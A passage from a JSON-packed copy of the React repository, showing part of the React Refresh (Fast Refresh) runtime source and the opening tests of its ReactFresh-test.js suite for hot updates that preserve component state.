&& nextSignature === undefined) {\n    return true;\n  }\n  if (prevSignature === undefined || nextSignature === undefined) {\n    return false;\n  }\n  if (computeFullKey(prevSignature) !== computeFullKey(nextSignature)) {\n    return false;\n  }\n  if (nextSignature.forceReset) {\n    return false;\n  }\n\n  return true;\n}\n\nfunction isReactClass(type: any) {\n  return type.prototype && type.prototype.isReactComponent;\n}\n\nfunction canPreserveStateBetween(prevType: any, nextType: any) {\n  if (isReactClass(prevType) || isReactClass(nextType)) {\n    return false;\n  }\n  if (haveEqualSignatures(prevType, nextType)) {\n    return true;\n  }\n  return false;\n}\n\nfunction resolveFamily(type: any) {\n  // Only check updated types to keep lookups fast.\n  return updatedFamiliesByType.get(type);\n}\n\n// If we didn't care about IE11, we could use new Map/Set(iterable).\nfunction cloneMap<K, V>(map: Map<K, V>): Map<K, V> {\n  const clone = new Map<K, V>();\n  map.forEach((value, key) => {\n    clone.set(key, value);\n  });\n  return clone;\n}\nfunction cloneSet<T>(set: Set<T>): Set<T> {\n  const clone = new Set<T>();\n  set.forEach(value => {\n    clone.add(value);\n  });\n  return clone;\n}\n\n// This is a safety mechanism to protect against rogue getters and Proxies.\nfunction getProperty(object: any, property: string) {\n  try {\n    return object[property];\n  } catch (err) {\n    // Intentionally ignore.\n    return undefined;\n  }\n}\n\nexport function performReactRefresh(): RefreshUpdate | null {\n  if (!__DEV__) {\n    throw new Error(\n      'Unexpected call to React Refresh in a production environment.',\n    );\n  }\n  if (pendingUpdates.length === 0) {\n    return null;\n  }\n  if (isPerformingRefresh) {\n    return null;\n  }\n\n  isPerformingRefresh = true;\n  try {\n    const staleFamilies = new Set<Family>();\n    const updatedFamilies = new Set<Family>();\n\n    const updates = pendingUpdates;\n    pendingUpdates = [];\n    updates.forEach(([family, nextType]) => {\n      // Now that we got a real edit, we can create associations\n      // that will be read by the React reconciler.\n      const prevType = family.current;\n      updatedFamiliesByType.set(prevType, family);\n      updatedFamiliesByType.set(nextType, family);\n      family.current = nextType;\n\n      // Determine whether this should be a re-render or a re-mount.\n      if (canPreserveStateBetween(prevType, nextType)) {\n        updatedFamilies.add(family);\n      } else {\n        staleFamilies.add(family);\n      }\n    });\n\n    // TODO: rename these fields to something more meaningful.\n    const update: RefreshUpdate = {\n      updatedFamilies, // Families that will re-render preserving state\n      staleFamilies, // Families that will be remounted\n    };\n\n    helpersByRendererID.forEach(helpers => {\n      // Even if there are no roots, set the handler on first update.\n      // This ensures that if *new* roots are mounted, they'll use the resolve handler.\n      helpers.setRefreshHandler(resolveFamily);\n    });\n\n    let didError = false;\n    let firstError = null;\n\n    // We snapshot maps and sets that are mutated during commits.\n    // If we don't do this, there is a risk they will be mutated while\n    // we iterate over them. For example, trying to recover a failed root\n    // may cause another root to be added to the failed list -- an infinite loop.\n    const failedRootsSnapshot = cloneSet(failedRoots);\n    const mountedRootsSnapshot = cloneSet(mountedRoots);\n    const helpersByRootSnapshot = cloneMap(helpersByRoot);\n\n    failedRootsSnapshot.forEach(root => {\n      const helpers = helpersByRootSnapshot.get(root);\n      if (helpers === undefined) {\n        throw new Error(\n          'Could not find helpers for a root. This is a bug in React Refresh.',\n        );\n      }\n      if (!failedRoots.has(root)) {\n        // No longer failed.\n      }\n      if (rootElements === null) {\n        return;\n      }\n      if (!rootElements.has(root)) {\n        return;\n      }\n      const element = rootElements.get(root);\n      try {\n        helpers.scheduleRoot(root, element);\n      } catch (err) {\n        if (!didError) {\n          didError = true;\n          firstError = err;\n        }\n        // Keep trying other roots.\n      }\n    });\n    mountedRootsSnapshot.forEach(root => {\n      const helpers = helpersByRootSnapshot.get(root);\n      if (helpers === undefined) {\n        throw new Error(\n          'Could not find helpers for a root. This is a bug in React Refresh.',\n        );\n      }\n      if (!mountedRoots.has(root)) {\n        // No longer mounted.\n      }\n      try {\n        helpers.scheduleRefresh(root, update);\n      } catch (err) {\n        if (!didError) {\n          didError = true;\n          firstError = err;\n        }\n        // Keep trying other roots.\n      }\n    });\n    if (didError) {\n      throw firstError;\n    }\n    return update;\n  } finally {\n    isPerformingRefresh = false;\n  }\n}\n\nexport function register(type: any, id: string): void {\n  if (__DEV__) {\n    if (type === null) {\n      return;\n    }\n    if (typeof type !== 'function' && typeof type !== 'object') {\n      return;\n    }\n\n    // This can happen in an edge case, e.g. if we register\n    // return value of a HOC but it returns a cached component.\n    // Ignore anything but the first registration for each type.\n    if (allFamiliesByType.has(type)) {\n      return;\n    }\n    // Create family or remember to update it.\n    // None of this bookkeeping affects reconciliation\n    // until the first performReactRefresh() call above.\n    let family = allFamiliesByID.get(id);\n    if (family === undefined) {\n      family = {current: type};\n      allFamiliesByID.set(id, family);\n    } else {\n      pendingUpdates.push([family, type]);\n    }\n    allFamiliesByType.set(type, family);\n\n    // Visit inner types because we might not have registered them.\n    if (typeof type === 'object' && type !== null) {\n      switch (getProperty(type, '$$typeof')) {\n        case REACT_FORWARD_REF_TYPE:\n          register(type.render, id + '$render');\n          break;\n        case REACT_MEMO_TYPE:\n          register(type.type, id + '$type');\n          break;\n      }\n    }\n  } else {\n    throw new Error(\n      'Unexpected call to React Refresh in a production environment.',\n    );\n  }\n}\n\nexport function setSignature(\n  type: any,\n  key: string,\n  forceReset?: boolean = false,\n  getCustomHooks?: () => Array<Function>,\n): void {\n  if (__DEV__) {\n    if (!allSignaturesByType.has(type)) {\n      allSignaturesByType.set(type, {\n        forceReset,\n        ownKey: key,\n        fullKey: null,\n        getCustomHooks: getCustomHooks || (() => []),\n      });\n    }\n    // Visit inner types because we might not have signed them.\n    if (typeof type === 'object' && type !== null) {\n      switch (getProperty(type, '$$typeof')) {\n        case REACT_FORWARD_REF_TYPE:\n          setSignature(type.render, key, forceReset, getCustomHooks);\n          break;\n        case REACT_MEMO_TYPE:\n          setSignature(type.type, key, forceReset, getCustomHooks);\n          break;\n      }\n    }\n  } else {\n    throw new Error(\n      'Unexpected call to React Refresh in a production environment.',\n    );\n  }\n}\n\n// This is lazily called during first render for a type.\n// It captures Hook list at that time so inline requires don't break comparisons.\nexport function collectCustomHooksForSignature(type: any) {\n  if (__DEV__) {\n    const signature = allSignaturesByType.get(type);\n    if (signature !== undefined) {\n      computeFullKey(signature);\n    }\n  } else {\n    throw new Error(\n      'Unexpected call to React Refresh in a production environment.',\n    );\n  }\n}\n\nexport function getFamilyByID(id: string): Family | void {\n  if (__DEV__) {\n    return allFamiliesByID.get(id);\n  } else {\n    throw new Error(\n      'Unexpected call to React Refresh in a production environment.',\n    );\n  }\n}\n\nexport function getFamilyByType(type: any): Family | void {\n  if (__DEV__) {\n    return allFamiliesByType.get(type);\n  } else {\n    throw new Error(\n      'Unexpected call to React Refresh in a production environment.',\n    );\n  }\n}\n\nexport function injectIntoGlobalHook(globalObject: any): void {\n  if (__DEV__) {\n    // For React Native, the global hook will be set up by require('react-devtools-core').\n    // That code will run before us. So we need to monkeypatch functions on existing hook.\n\n    // For React Web, the global hook will be set up by the extension.\n    // This will also run before us.\n    let hook = globalObject.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    if (hook === undefined) {\n      // However, if there is no DevTools extension, we'll need to set up the global hook ourselves.\n      // Note that in this case it's important that renderer code runs *after* this method call.\n      // Otherwise, the renderer will think that there is no global hook, and won't do the injection.\n      let nextID = 0;\n      globalObject.__REACT_DEVTOOLS_GLOBAL_HOOK__ = hook = {\n        renderers: new Map(),\n        supportsFiber: true,\n        inject: injected => nextID++,\n        onScheduleFiberRoot: (\n          id: number,\n          root: FiberRoot,\n          children: ReactNodeList,\n        ) => {},\n        onCommitFiberRoot: (\n          id: number,\n          root: FiberRoot,\n          maybePriorityLevel: mixed,\n          didError: boolean,\n        ) => {},\n        onCommitFiberUnmount() {},\n      };\n    }\n\n    if (hook.isDisabled) {\n      // This isn't a real property on the hook, but it can be set to opt out\n      // of DevTools integration and associated warnings and logs.\n      // Using console['warn'] to evade Babel and ESLint\n      console['warn'](\n        'Something has shimmed the React DevTools global hook (__REACT_DEVTOOLS_GLOBAL_HOOK__). ' +\n          'Fast Refresh is not compatible with this shim and will be disabled.',\n      );\n      return;\n    }\n\n    // Here, we just want to get a reference to scheduleRefresh.\n    const oldInject = hook.inject;\n    hook.inject = function (this: mixed, injected) {\n      const id = oldInject.apply(this, arguments);\n      if (\n        typeof injected.scheduleRefresh === 'function' &&\n        typeof injected.setRefreshHandler === 'function'\n      ) {\n        // This version supports React Refresh.\n        helpersByRendererID.set(id, ((injected: any): RendererHelpers));\n      }\n      return id;\n    };\n\n    // Do the same for any already injected roots.\n    // This is useful if ReactDOM has already been initialized.\n    // https://github.com/facebook/react/issues/17626\n    hook.renderers.forEach((injected, id) => {\n      if (\n        typeof injected.scheduleRefresh === 'function' &&\n        typeof injected.setRefreshHandler === 'function'\n      ) {\n        // This version supports React Refresh.\n        helpersByRendererID.set(id, ((injected: any): RendererHelpers));\n      }\n    });\n\n    // We also want to track currently mounted roots.\n    const oldOnCommitFiberRoot = hook.onCommitFiberRoot;\n    const oldOnScheduleFiberRoot = hook.onScheduleFiberRoot || (() => {});\n    hook.onScheduleFiberRoot = function (\n      this: mixed,\n      id: number,\n      root: FiberRoot,\n      children: ReactNodeList,\n    ) {\n      if (!isPerformingRefresh) {\n        // If it was intentionally scheduled, don't attempt to restore.\n        // This includes intentionally scheduled unmounts.\n        failedRoots.delete(root);\n        if (rootElements !== null) {\n          rootElements.set(root, children);\n        }\n      }\n      return oldOnScheduleFiberRoot.apply(this, arguments);\n    };\n    hook.onCommitFiberRoot = function (\n      this: mixed,\n      id: number,\n      root: FiberRoot,\n      maybePriorityLevel: mixed,\n      didError: boolean,\n    ) {\n      const helpers = helpersByRendererID.get(id);\n      if (helpers !== undefined) {\n        helpersByRoot.set(root, helpers);\n\n        const current = root.current;\n        const alternate = current.alternate;\n\n        // We need to determine whether this root has just (un)mounted.\n        // This logic is copy-pasted from similar logic in the DevTools backend.\n        // If this breaks with some refactoring, you'll want to update DevTools too.\n\n        if (alternate !== null) {\n          const wasMounted =\n            alternate.memoizedState != null &&\n            alternate.memoizedState.element != null &&\n            mountedRoots.has(root);\n\n          const isMounted =\n            current.memoizedState != null &&\n            current.memoizedState.element != null;\n\n          if (!wasMounted && isMounted) {\n            // Mount a new root.\n            mountedRoots.add(root);\n            failedRoots.delete(root);\n          } else if (wasMounted && isMounted) {\n            // Update an existing root.\n            // This doesn't affect our mounted root Set.\n          } else if (wasMounted && !isMounted) {\n            // Unmount an existing root.\n            mountedRoots.delete(root);\n            if (didError) {\n              // We'll remount it on future edits.\n              failedRoots.add(root);\n            } else {\n              helpersByRoot.delete(root);\n            }\n          } else if (!wasMounted && !isMounted) {\n            if (didError) {\n              // We'll remount it on future edits.\n              failedRoots.add(root);\n            }\n          }\n        } else {\n          // Mount a new root.\n          mountedRoots.add(root);\n        }\n      }\n\n      // Always call the decorated DevTools hook.\n      return oldOnCommitFiberRoot.apply(this, arguments);\n    };\n  } else {\n    throw new Error(\n      'Unexpected call to React Refresh in a production environment.',\n    );\n  }\n}\n\nexport function hasUnrecoverableErrors(): boolean {\n  // TODO: delete this after removing dependency in RN.\n  return false;\n}\n\n// Exposed for testing.\nexport function _getMountedRootCount(): number {\n  if (__DEV__) {\n    return mountedRoots.size;\n  } else {\n    throw new Error(\n      'Unexpected call to React Refresh in a production environment.',\n    );\n  }\n}\n\n// This is a wrapper over more primitive functions for setting signature.\n// Signatures let us decide whether the Hook order has changed on refresh.\n//\n// This function is intended to be used as a transform target, e.g.:\n// var _s = createSignatureFunctionForTransform()\n//\n// function Hello() {\n//   const [foo, setFoo] = useState(0);\n//   const value = useCustomHook();\n//   _s(); /* Call without arguments triggers collecting the custom Hook list.\n//          * This doesn't happen during the module evaluation because we\n//          * don't want to change the module order with inline requires.\n//          * Next calls are noops. */\n//   return <h1>Hi</h1>;\n// }\n//\n// /* Call with arguments attaches the signature to the type: */\n// _s(\n//   Hello,\n//   'useState{[foo, setFoo]}(0)',\n//   () => [useCustomHook], /* Lazy to avoid triggering inline requires */\n// );\nexport function createSignatureFunctionForTransform(): <T>(\n  type: T,\n  key: string,\n  forceReset?: boolean,\n  getCustomHooks?: () => Array<Function>,\n) => T | void {\n  if (__DEV__) {\n    let savedType: mixed;\n    let hasCustomHooks: boolean;\n    let didCollectHooks = false;\n    return function <T>(\n      type: T,\n      key: string,\n      forceReset?: boolean,\n      getCustomHooks?: () => Array<Function>,\n    ): T | void {\n      if (typeof key === 'string') {\n        // We're in the initial phase that associates signatures\n        // with the functions. Note this may be called multiple times\n        // in HOC chains like _s(hoc1(_s(hoc2(_s(actualFunction))))).\n        if (!savedType) {\n          // We're in the innermost call, so this is the actual type.\n          savedType = type;\n          hasCustomHooks = typeof getCustomHooks === 'function';\n        }\n        // Set the signature for all types (even wrappers!) in case\n        // they have no signatures of their own. This is to prevent\n        // problems like https://github.com/facebook/react/issues/20417.\n        if (\n          type != null &&\n          (typeof type === 'function' || typeof type === 'object')\n        ) {\n          setSignature(type, key, forceReset, getCustomHooks);\n        }\n        return type;\n      } else {\n        // We're in the _s() call without arguments, which means\n        // this is the time to collect custom Hook signatures.\n        // Only do this once. This path is hot and runs *inside* every render!\n        if (!didCollectHooks && hasCustomHooks) {\n          didCollectHooks = true;\n          collectCustomHooksForSignature(savedType);\n        }\n      }\n    };\n  } else {\n    throw new Error(\n      'Unexpected call to React Refresh in a production environment.',\n    );\n  }\n}\n\nexport function isLikelyComponentType(type: any): boolean {\n  if (__DEV__) {\n    switch (typeof type) {\n      case 'function': {\n        // First, deal with classes.\n        if (type.prototype != null) {\n          if (type.prototype.isReactComponent) {\n            // React class.\n            return true;\n          }\n          const ownNames = Object.getOwnPropertyNames(type.prototype);\n          if (ownNames.length > 1 || ownNames[0] !== 'constructor') {\n            // This looks like a class.\n            return false;\n          }\n          if (\n            // $FlowFixMe[prop-missing]\n            type.prototype.__proto__ !== Object.prototype // eslint-disable-line no-proto\n          ) {\n            // It has a superclass.\n            return false;\n          }\n          // Pass through.\n          // This looks like a regular function with empty prototype.\n        }\n        // For plain functions and arrows, use name as a heuristic.\n        const name = type.name || type.displayName;\n        return typeof name === 'string' && /^[A-Z]/.test(name);\n      }\n      case 'object': {\n        if (type != null) {\n          switch (getProperty(type, '$$typeof')) {\n            case REACT_FORWARD_REF_TYPE:\n            case REACT_MEMO_TYPE:\n              // Definitely React components.\n              return true;\n            default:\n              return false;\n          }\n        }\n        return false;\n      }\n      default: {\n        return false;\n      }\n    }\n  } else {\n    throw new Error(\n      'Unexpected call to React Refresh in a production environment.',\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-refresh/src/__tests__/ReactFresh-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactFreshRuntime;\nlet Scheduler;\nlet act;\nlet createReactClass;\nlet waitFor;\nlet assertLog;\n\ndescribe('ReactFresh', () => {\n  let container;\n  let root;\n\n  beforeEach(() => {\n    if (__DEV__) {\n      jest.resetModules();\n      React = require('react');\n      ReactFreshRuntime = require('react-refresh/runtime');\n      ReactFreshRuntime.injectIntoGlobalHook(global);\n      ReactDOM = require('react-dom');\n      ReactDOMClient = require('react-dom/client');\n      Scheduler = require('scheduler');\n      act = require('internal-test-utils').act;\n\n      const InternalTestUtils = require('internal-test-utils');\n      waitFor = InternalTestUtils.waitFor;\n      assertLog = InternalTestUtils.assertLog;\n\n      createReactClass = require('create-react-class/factory')(\n        React.Component,\n        React.isValidElement,\n        new React.Component().updater,\n      );\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      document.body.appendChild(container);\n    }\n  });\n\n  afterEach(() => {\n    if (__DEV__) {\n      delete global.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n      document.body.removeChild(container);\n    }\n  });\n\n  function prepare(version) {\n    const Component = version();\n    return Component;\n  }\n\n  async function render(version, props) {\n    const Component = version();\n    await act(() => {\n      root.render(<Component {...props} />);\n    });\n    return Component;\n  }\n\n  async function patch(version) {\n    const Component = version();\n    await act(() => {\n      ReactFreshRuntime.performReactRefresh();\n    });\n    return Component;\n  }\n\n  function patchSync(version) {\n    const Component = version();\n    ReactFreshRuntime.performReactRefresh();\n    return Component;\n  }\n\n  function $RefreshReg$(type, id) {\n    ReactFreshRuntime.register(type, id);\n  }\n\n  function $RefreshSig$(type, key, forceReset, getCustomHooks) {\n    ReactFreshRuntime.setSignature(type, key, forceReset, getCustomHooks);\n    return type;\n  }\n\n  // Note: This is based on a similar component we use in www. We can delete\n  // once the extra div wrapper is no longer necessary.\n  function LegacyHiddenDiv({children, mode}) {\n    return (\n      <div hidden={mode === 'hidden'}>\n        <React.unstable_LegacyHidden\n          mode={mode === 'hidden' ? 'unstable-defer-without-hiding' : mode}>\n          {children}\n        </React.unstable_LegacyHidden>\n      </div>\n    );\n  }\n\n  it('can preserve state for compatible types', async () => {\n    if (__DEV__) {\n      const HelloV1 = await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update.\n      const HelloV2 = await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Bump the state again.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Perform top-down renders with both fresh and stale types.\n      // Neither should change the state or color.\n      // They should always resolve to the latest version.\n      await render(() => HelloV1);\n      await render(() => HelloV2);\n      await render(() => HelloV1);\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Bump the state again.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('3');\n      expect(el.style.color).toBe('red');\n\n      // Finally, a render with incompatible type should reset it.\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        // No register call.\n        // This is considered a new type.\n        return Hello;\n      });\n      expect(container.firstChild).not.toBe(el);\n      const newEl = container.firstChild;\n      expect(newEl.textContent).toBe('0');\n      expect(newEl.style.color).toBe('blue');\n    }\n  });\n\n  it('can preserve state for forwardRef', async () => {\n    if (__DEV__) {\n      const OuterV1 = await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.forwardRef(() => <Hello />);\n        $RefreshReg$(Outer, 'Outer');\n        return Outer;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update.\n      const OuterV2 = await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.forwardRef(() => <Hello />);\n        $RefreshReg$(Outer, 'Outer');\n        return Outer;\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Bump the state again.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Perform top-down renders with both fresh and stale types.\n      // Neither should change the state or color.\n      // They should always resolve to the latest version.\n      await render(() => OuterV1);\n      await render(() => OuterV2);\n      await render(() => OuterV1);\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Finally, a render with incompatible type should reset it.\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        // Note: no forwardRef wrapper this time.\n        return Hello;\n      });\n\n      expect(container.firstChild).not.toBe(el);\n      const newEl = container.firstChild;\n      expect(newEl.textContent).toBe('0');\n      expect(newEl.style.color).toBe('blue');\n    }\n  });\n\n  it('should not consider two forwardRefs around the same type to be equivalent', async () => {\n    if (__DEV__) {\n      const ParentV1 = await render(\n        () => {\n          function Hello() {\n            const [val, setVal] = React.useState(0);\n            return (\n              <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n                {val}\n              </p>\n            );\n          }\n          $RefreshReg$(Hello, 'Hello');\n\n          function renderInner() {\n            return <Hello />;\n          }\n          // Both of these are wrappers around the same inner function.\n          // They should be treated as distinct types across reloads.\n          const ForwardRefA = React.forwardRef(renderInner);\n          $RefreshReg$(ForwardRefA, 'ForwardRefA');\n          const ForwardRefB = React.forwardRef(renderInner);\n          $RefreshReg$(ForwardRefB, 'ForwardRefB');\n\n          function Parent({cond}) {\n            return cond ? <ForwardRefA /> : <ForwardRefB />;\n          }\n          $RefreshReg$(Parent, 'Parent');\n\n          return Parent;\n        },\n        {cond: true},\n      );\n\n      // Bump the state before switching up types.\n      let el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Switching up the inner types should reset the state.\n      await render(() => ParentV1, {cond: false});\n      expect(el).not.toBe(container.firstChild);\n      el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Switch them up back again.\n      await render(() => ParentV1, {cond: true});\n      expect(el).not.toBe(container.firstChild);\n      el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n\n      // Now bump up the state to prepare for patching.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Patch to change the color.\n      const ParentV2 = await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        function renderInner() {\n          return <Hello />;\n        }\n        // Both of these are wrappers around the same inner function.\n        // They should be treated as distinct types across reloads.\n        const ForwardRefA = React.forwardRef(renderInner);\n        $RefreshReg$(ForwardRefA, 'ForwardRefA');\n        const ForwardRefB = React.forwardRef(renderInner);\n        $RefreshReg$(ForwardRefB, 'ForwardRefB');\n\n        function Parent({cond}) {\n          return cond ? <ForwardRefA /> : <ForwardRefB />;\n        }\n        $RefreshReg$(Parent, 'Parent');\n\n        return Parent;\n      });\n\n      // The state should be intact; the color should change.\n      expect(el).toBe(container.firstChild);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Switching up the condition should still reset the state.\n      await render(() => ParentV2, {cond: false});\n      expect(el).not.toBe(container.firstChild);\n      el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('red');\n\n      // Now bump up the state to prepare for top-level renders.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el).toBe(container.firstChild);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Finally, verify using top-level render with stale type keeps state.\n      await render(() => ParentV1);\n      await render(() => ParentV2);\n      await render(() => ParentV1);\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n    }\n  });\n\n  it('can update forwardRef render function with its wrapper', async () => {\n    if (__DEV__) {\n      await render(() => {\n        function Hello({color}) {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.forwardRef(() => <Hello color=\"blue\" />);\n        $RefreshReg$(Outer, 'Outer');\n        return Outer;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update.\n      await patch(() => {\n        function Hello({color}) {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.forwardRef(() => <Hello color=\"red\" />);\n        $RefreshReg$(Outer, 'Outer');\n        return Outer;\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n    }\n  });\n\n  it('can update forwardRef render function in isolation', async () => {\n    if (__DEV__) {\n      await render(() => {\n        function Hello({color}) {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        function renderHello() {\n          return <Hello color=\"blue\" />;\n        }\n        $RefreshReg$(renderHello, 'renderHello');\n\n        return React.forwardRef(renderHello);\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update of just the rendering function.\n      await patch(() => {\n        function Hello({color}) {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        function renderHello() {\n          return <Hello color=\"red\" />;\n        }\n        $RefreshReg$(renderHello, 'renderHello');\n\n        // Not updating the wrapper.\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n    }\n  });\n\n  it('can preserve state for simple memo', async () => {\n    if (__DEV__) {\n      const OuterV1 = await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.memo(Hello);\n        $RefreshReg$(Outer, 'Outer');\n        return Outer;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update.\n      const OuterV2 = await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.memo(Hello);\n        $RefreshReg$(Outer, 'Outer');\n        return Outer;\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Bump the state again.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Perform top-down renders with both fresh and stale types.\n      // Neither should change the state or color.\n      // They should always resolve to the latest version.\n      await render(() => OuterV1);\n      await render(() => OuterV2);\n      await render(() => OuterV1);\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Finally, a render with incompatible type should reset it.\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        // Note: no wrapper this time.\n        return Hello;\n      });\n\n      expect(container.firstChild).not.toBe(el);\n      const newEl = 